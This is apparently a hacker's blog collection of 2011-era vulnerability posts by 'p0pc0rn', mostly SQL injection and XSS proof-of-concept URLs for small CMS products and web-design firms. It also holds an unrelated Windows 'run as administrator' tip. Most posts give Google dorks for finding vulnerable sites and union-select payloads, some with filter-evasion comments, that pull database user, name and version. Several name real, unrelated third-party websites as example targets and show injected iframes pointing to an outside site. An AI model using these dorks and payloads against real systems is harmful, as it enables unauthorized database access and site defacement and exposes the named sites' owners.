hileyTECH Ecommerce Cart Pro Vulnerable to SQL Injection

Title      :    hileyTECH Ecommerce Cart Pro Vulnerable to SQL Injection
Vendor    :  http://www.hileytech.com
Links    :    http://www.hileytech.com/cartspec.html
Type     :    Web Application

Parameter 'proddetail.php' in hileyTECH Ecommerce Cart Pro is vulnetable to SQL Injection.
Proof of concept ::

http://localhost/proddetail.php?prod=[SQL]
http://localhost/proddetail.php?prod=-productname' union select concat(version())--+

~/p0pc0rn/~

Wordpress Plugin youtube-uploader Vulnerable to XSS

Title : Wordpress Plugin youtube-uploader Vulnerable to XSS
Dork  : inurl:"youtube-uploader/action.php?action="
by      : p0pc0rn

http://site.com/wp-content/plugins/youtube-uploader/action.php?action=[xss]

~/p0pc0rn/~

Light & Shade Creative Studio web design multiple sql injections

Title : Light & Shade Creative Studio web design multiple sql injections
Found : 22 October 2011
Web   : http://www.lnsstudio.com/

[sql]
1 - articles-detail.php?aid=[sql]
2 - notice_detail.php?nid=[sql]
3 - photogallery.php?aid=[sql]
4 - alumni-details.php?batch=[sql]
5 - alumni_students.php?batch=[sql]
6 - more..

Examples :
http://www.fhss.edu.np/articles-detail.php?aid=9'
http://www.shangri-la.edu.np/notice_detail.php?nid=3'
http://www.ops.edu.np/notice_details.php?nid=17'

~/p0pc0rn/~

dreams & ideas web design multiple vulnerabilities

Title : dreams & ideas web design multiple vulnerabilities
Found : 22 October 2011
Web   : http://www.dreamsandideas.com

[sql]
1 - products.php?CatID=[sql]
2 - news_details.php?nid=[sql]
3 - success_story_details.php?sid=[sql]
4 - inside.php?id=[sql]
5 - contact.php?id=[sql]
6 - visaupdate_details.php?vid=[sql]
7 - products.php?BrandID=[sql]
8 - more..

Examples :

http://www.alfabetaedu.com/news_details.php?nid=31'
http://www.neoteric.com.np/products.php?BrandID=2'
http://www.cybersansar.com/article_list.php?pageno=1
POST frdate=2011-10-22&todate=2011-10-22&list_article=-Select-&keyword='&Submit=Submit
http://www.enasha.com/bnb_profile.php?pid=148'


[xss]

1 - search.php
2 - search_result.php?mk=

Examples :
http://www.afn.org.np/search.php
POST keyword=<iframe src=http://www.1337day.com />&search.x=0&search.y=0
http://www.enasha.com/search_result.php?mk=Toyota<iframe src=http://www.1337day.com />



~/p0pc0rn/~

Wargames.my Bonus Challenge Write-ups by kuehtiow

bonus challenge 1

http://goo.gl/dwfow

bonus challenge 2 
http://goo.gl/upTJs


thanks to kuehtiow the only solver for that challenge! 

Run the Application as Administrator Just by a Click!

How to Set Our Application to Always Running as Administrator in Windows 7
-----------------------------------------------------------------------------------------------------

1 - Right click to the application that you want to run as administrator and choose properties.Before that make sure you already set the shortcut for the application.
As example I created a cmd.exe shortcut at Desktop.I want to run cmd.exe as administrator just by a click after this.No need to right click,blalala..wasting my time!

2 - Go to Shortcut tab and choose Advanced.

3 - Tick "Run as Administrator",and DONE!

  

Before as Administrator

After as Administrator.Just by a click!

LASERnet CMS Vulnerable to SQL Injection

Title : LASERnet CMS  Vulnerable to SQL Injection
Vendor : http://cms.lasernet.gr/index.php?lang=en
Dork : intext:"Powered by Lasernet"
Category: WebApps

http://localhost.com/index.php?id=[SQL]

Demo:
http://localhost.com/index.php
?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+

thanks,
-p0pc0rn-

CarRentals CMS Vulnerable to SQL Injection

Title : CarRentals CMS Vulnerable to SQL Injection
Vendor : N/A
Dork : intext:"Powered by CarRentals CMS"
Category: WebApps

http://localhost.com/*.php?id=[SQL]

~/POC/~
-------

http://localhost.com/book-offer.php?offer_id=-1' /*!12345union*/ select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11--+

thanks,
-p0pc0rn-

Cambria Web Design Vulnerable to Multiple SQL Injection

Title : Cambria Web Design Vulnerable to Multiple SQL Injection
Vendor : http://www.cambria.com
Dork : intext:"Web Design by Cambria" filetype:asp
Dork2 : intext:"Custom software and Web Design by Cambria"
Category: WebApps

http://localhost.com/product_page.asp?ProductID=[SQL]&ProductCatID=[SQL]
http://localhost.com/pagecontent.asp?page=[SQL]
http://localhost.com/product_page.asp?Search=[SQL]
http://localhost.com/articles.asp?ArticleID=[SQL]


There are more parameters need to be checked.

~//POC//~

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

http://127.0.0.1/product_page_detail.asp?ProductID=1&ProductCatID=1'

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/product_page_detail.asp, line 78

-------------------------------------------------------------------------------------
http://127.0.0.1/product_page_detail.asp?ProductID=1&ProductCatID=1+or+1=convert(int,(@@version))

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

/product_page_detail.asp, line 78
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

- p0pc0rn -

shoma.net Web Design Vulnerable to Multiple SQL Injection

Title : shoma.net Web Design Vulnerable to Multiple SQL Injection
Website : http://www.shoma.net/
Dork : Developed by Shoma.net
Type : WebApps

http://localhost.com/SubNews.cfm?NewsID=[SQL]
http://localhost.com/details.cfm?TourID=[SQL]&categoryId=[SQL]
http://localhost.com/Hotellist.cfm?starID=[SQL]
http://localhost.com/index_show.asp?idbasic=[SQL]
http://localhost.com/index_view.asp?idrecipie=[SQL]

There are more parameters need to be checked.

#####
#POC#
#####

+++++++++++++++++++++++++++++++++++++++++++++++++++++++
http://127.0.0.1/Subnews.cfm?newsid=1'
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'newsId=1'''.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++

- p0pc0rn -

Infotrex Solutions Web Design Vulnerable to Multiple SQL Injections

Title : Infotrex Solutions Web Design Vulnerable to Multiple SQL Injections
Vendor: http://www.infotrex.net
Dork : intext:"Web Development by Infotrex Solutions"

+++++++++++++++++++++++++++++++
Microsoft Access Injection +
+++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 - http://www.site.com/details.asp?catid=[]&subcatid=[]&pid=[SQL] +
2 - http://www.site.com/news.asp?action=read&nID=[SQL] +
3 - http://www.site.com/product.asp?catid=[SQL] +
4 - http://www.site.com/contents.asp?id=[SQL] +
5 - http://www.site.com/details.asp?pid=[SQL] +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Thanks,
p0pc0rn